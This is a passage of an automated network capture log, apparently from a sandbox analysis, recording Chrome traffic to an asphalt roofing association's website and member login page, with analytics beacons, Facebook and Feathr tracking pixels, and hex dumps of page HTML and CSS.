2024-04-23 14:54:11 UTC	24	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 Data Ascii: GIF89a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.6	49985	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	857	OUT	POST /jserrors/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=13502&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&ptid=52e19d87-0001-bff8-6b02-018f0b732943 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 294 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:11 UTC	294	OUT	Data Raw: 7b 22 78 68 72 22 3a 5b 7b 22 70 61 72 61 6d 73 22 3a 7b 22 6d 65 74 68 6f 64 22 3a 22 50 4f 53 54 22 2c 22 68 6f 73 74 6e 61 6d 65 22 3a 22 62 61 6d 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 2c 22 70 6f 72 74 22 3a 22 34 34 33 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 73 22 2c 22 68 6f 73 74 22 3a 22 62 61 6d 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 3a 34 34 33 22 2c 22 70 61 74 68 6e 61 6d 65 22 3a 22 2f 72 65 73 6f 75 72 63 65 73 2f 31 2f 35 62 34 30 33 65 39 34 34 34 22 2c 22 73 74 61 74 75 73 22 3a 32 30 30 7d 2c 22 6d 65 74 72 69 63 73 22 3a 7b 22 63 6f 75 6e 74 22 3a 31 2c 22 74 78 53 69 7a 65 22 3a 7b 22 74 22 3a 31 37 33 33 7d 2c 22 72 78 53 69 7a 65 22 3a 7b 22 74 22 3a 33 36 7d 2c 22 64 75 72 61 74 69 6f 6e 22 3a 7b 22 74 22 3a 34 35 36 7d Data Ascii: {"xhr":[{"params":{"method":"POST","hostname":"bam.nr-data.net","port":"443","protocol":"https","host":"bam.nr-data.net:443","pathname":"/resources/1/5b403e9444","status":200},"metrics":{"count":1,"txSize":{"t":1733},"rxSize":{"t":36},"duration":{"t":456}
2024-04-23 14:54:11 UTC	364	IN	HTTP/1.1 200 Connection: close Content-Length: 24 date: Tue, 23 Apr 2024 14:54:11 GMT content-type: image/gif cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://arma1.memberclicks.net x-served-by: cache-pdk-kfty2130025-PDK
2024-04-23 14:54:11 UTC	24	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 Data Ascii: GIF89a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.6	49987	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	910	OUT	POST /resources/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=13502&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&ptid=52e19d87-0001-bff8-6b02-018f0b732943&st=1713884036355&hr=0&fts=1713884036458&n=13&fsh=0 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 1201 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:11 UTC	1201	OUT	Data Raw: 7b 22 72 65 73 22 3a 5b 7b 22 6e 22 3a 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 22 73 22 3a 31 30 30 33 35 2c 22 65 22 3a 31 30 30 34 32 2c 22 74 22 3a 22 65 76 65 6e 74 22 2c 22 6f 22 3a 22 64 6f 63 75 6d 65 6e 74 22 7d 2c 7b 22 6e 22 3a 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 22 73 22 3a 31 33 34 33 35 2c 22 65 22 3a 31 33 34 33 35 2c 22 74 22 3a 22 65 76 65 6e 74 22 2c 22 6f 22 3a 22 77 69 6e 64 6f 77 22 7d 2c 7b 22 6e 22 3a 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 22 73 22 3a 31 33 34 33 35 2c 22 65 22 3a 31 33 34 33 36 2c 22 74 22 3a 22 65 76 65 6e 74 22 2c 22 6f 22 3a 22 64 6f 63 75 6d 65 6e 74 22 7d 2c 7b 22 6e 22 3a 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 22 73 22 3a 31 33 34 39 39 Data Ascii: {"res":[{"n":"visibilitychange","s":10035,"e":10042,"t":"event","o":"document"},{"n":"visibilitychange","s":13435,"e":13435,"t":"event","o":"window"},{"n":"visibilitychange","s":13435,"e":13436,"t":"event","o":"document"},{"n":"visibilitychange","s":13499
2024-04-23 14:54:11 UTC	365	IN	HTTP/1.1 200 Connection: close Content-Length: 36 date: Tue, 23 Apr 2024 14:54:11 GMT content-type: text/plain cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://arma1.memberclicks.net x-served-by: cache-pdk-kfty2130061-PDK
2024-04-23 14:54:11 UTC	36	IN	Data Raw: 35 32 65 31 39 64 38 37 2d 30 30 30 31 2d 62 66 66 38 2d 36 62 30 32 2d 30 31 38 66 30 62 37 33 32 39 34 33 Data Ascii: 52e19d87-0001-bff8-6b02-018f0b732943

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.6	49988	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	925	OUT	GET /v1/analytics/crumb?cb=1713884049993&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:11 UTC	1060	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:11 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:11 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zIklGKYfZZQ4dqw7%2Bp7HPGeFftR%2FcHH650LgKbYvdcHNqNUZwVHi6JIPgznpgbzoUvF90xdy1l4UPMzrlRksDjsVt6Lw5wUh6OnQvhyCLQBJwh9EvOzsNy2gLgC222%2Fs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaffaea0444ef-ATL
2024-04-23 14:54:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.6	49989	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	1210	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&rl=&if=false&ts=1713884049999&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884049546&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:11 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=105, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=1, ullat=1 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:11 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.6	49990	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	1325	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&rl=&if=false&ts=1713884049999&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884049546&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: not-navigation-source, trigger, event-source Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:11 UTC	948	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:11 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:11 UTC	1579	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch
2024-04-23 14:54:11 UTC	70	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 Data Ascii: 43PNGIHDRIDATxc-IENDB`
2024-04-23 14:54:11 UTC	8	IN	Data Raw: 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.6	49991	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	982	OUT	GET /contact-us/ HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
2024-04-23 14:54:13 UTC	617	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/", <https://www.asphaltroofing.org/wp-json/wp/v2/pages/122>; rel="alternate"; type="application/json", <https://www.asphaltroofing.org/?p=122>; rel=shortlink Vary: Accept-Encoding X-Sucuri-Cache: EXPIRED
2024-04-23 14:54:13 UTC	7575	IN	Data Raw: 31 34 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 14d0<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l
2024-04-23 14:54:13 UTC	8192	IN	Data Raw: 34 70 78 20 73 6f 6c 69 64 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 37 35 65 6d 3b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 5f 5f 63 69 74 61 74 69 6f 6e 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 20 63 69 74 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 20 66 6f 6f 74 65 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 2e 32 35 65 6d 20 73 6f 6c 69 64 3b 6d 61 72 Data Ascii: 4px solid;margin-bottom:1.75em;color:currentColor}.wp-block-pullquote__citation,.wp-block-pullquote cite,.wp-block-pullquote footer{color:currentColor;text-transform:uppercase;font-size:.8125em;font-style:normal}.wp-block-quote{border-left:.25em solid;mar
2024-04-23 14:54:13 UTC	8192	IN	Data Raw: 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f Data Ascii: -wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !impo
2024-04-23 14:54:13 UTC	8192	IN	Data Raw: 65 2e 63 73 73 3f 76 65 72 3d 31 2e 30 2e 35 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 75 2d 64 65 73 69 67 6e 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 72 65 73 70 6f 6e 73 69 76 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 75 2d 64 65 73 69 67 6e 2d 63 6f 72 65 2f 69 6e 63 6c 75 64 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 63 73 73 2f 75 64 65 73 69 67 6e 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 3f 76 65 72 3d 31 2e 30 2e 35 27 20 74 Data Ascii: e.css?ver=1.0.5' type='text/css' media='all' /><link rel='stylesheet' id='u-design-woocommerce-responsive-css' href='https://www.asphaltroofing.org/wp-content/plugins/u-design-core/includes/woocommerce/css/udesign-woocommerce-responsive.css?ver=1.0.5' t
2024-04-23 14:54:13 UTC	8192	IN	Data Raw: 3d 20 70 77 3e 28 65 2e 67 77 5b 69 78 5d 2b 65 2e 74 61 62 77 2b 65 2e 74 68 75 6d 62 77 29 20 3f 20 31 20 3a 20 28 70 77 2d 28 65 2e 74 61 62 77 2b 65 2e 74 68 75 6d 62 77 29 29 20 2f 20 28 65 2e 67 77 5b 69 78 5d 29 3b 09 09 09 09 09 0d 0a 0d 0a 09 09 09 09 09 6e 65 77 68 20 3d 20 20 28 65 2e 74 79 70 65 3d 3d 3d 22 63 61 72 6f 75 73 65 6c 22 20 26 26 20 65 2e 6a 75 73 74 69 66 79 3d 3d 3d 22 74 72 75 65 22 20 3f 20 65 2e 67 68 5b 69 78 5d 20 3a 20 28 65 2e 67 68 5b 69 78 5d 20 2a 20 6d 29 29 20 2b 20 28 65 2e 74 61 62 68 20 2b 20 65 2e 74 68 75 6d 62 68 29 3b 0d 0a 09 09 09 09 7d 09 09 09 0d 0a 09 09 09 09 0d 0a 09 09 09 09 69 66 28 77 69 6e 64 6f 77 2e 72 73 5f 69 6e 69 74 5f 63 73 73 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 20 77 69 6e 64 6f 77 2e 72 Data Ascii: = pw>(e.gw[ix]+e.tabw+e.thumbw) ? 1 : (pw-(e.tabw+e.thumbw)) / (e.gw[ix]);newh = (e.type==="carousel" && e.justify==="true" ? e.gh[ix] : (e.gh[ix] * m)) + (e.tabh + e.thumbh);}if(window.rs_init_css===undefined) window.r
2024-04-23 14:54:13 UTC	8192	IN	Data Raw: 74 69 6f 6e 2d 62 61 72 2d 77 72 61 70 70 65 72 22 3e 0d 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 73 65 63 6f 6e 64 61 72 79 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 62 61 72 22 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 5f 32 34 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 69 64 3d 22 73 65 63 6f 6e 64 61 72 79 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 62 61 72 2d 63 6f 6e 74 65 6e 74 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 69 64 3d 22 73 65 63 6f 6e 64 61 72 79 2d 6e 61 76 2d 62 61 72 2d 6c 6f 63 61 74 69 6f 6e 2d 33 22 20 63 6c 61 73 73 3d 22 67 72 69 64 5f 32 34 22 3e 0d 0a 09 09 09 09 09 09 09 09 3c 64 69 76 20 69 64 3d 22 73 65 63 2d 6e 61 76 2d 6d 65 6e 75 2d 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 Data Ascii: tion-bar-wrapper"><div id="secondary-navigation-bar" class="container_24"><div id="secondary-navigation-bar-content"><div id="secondary-nav-bar-location-3" class="grid_24"><div id="sec-nav-menu-area"><div c
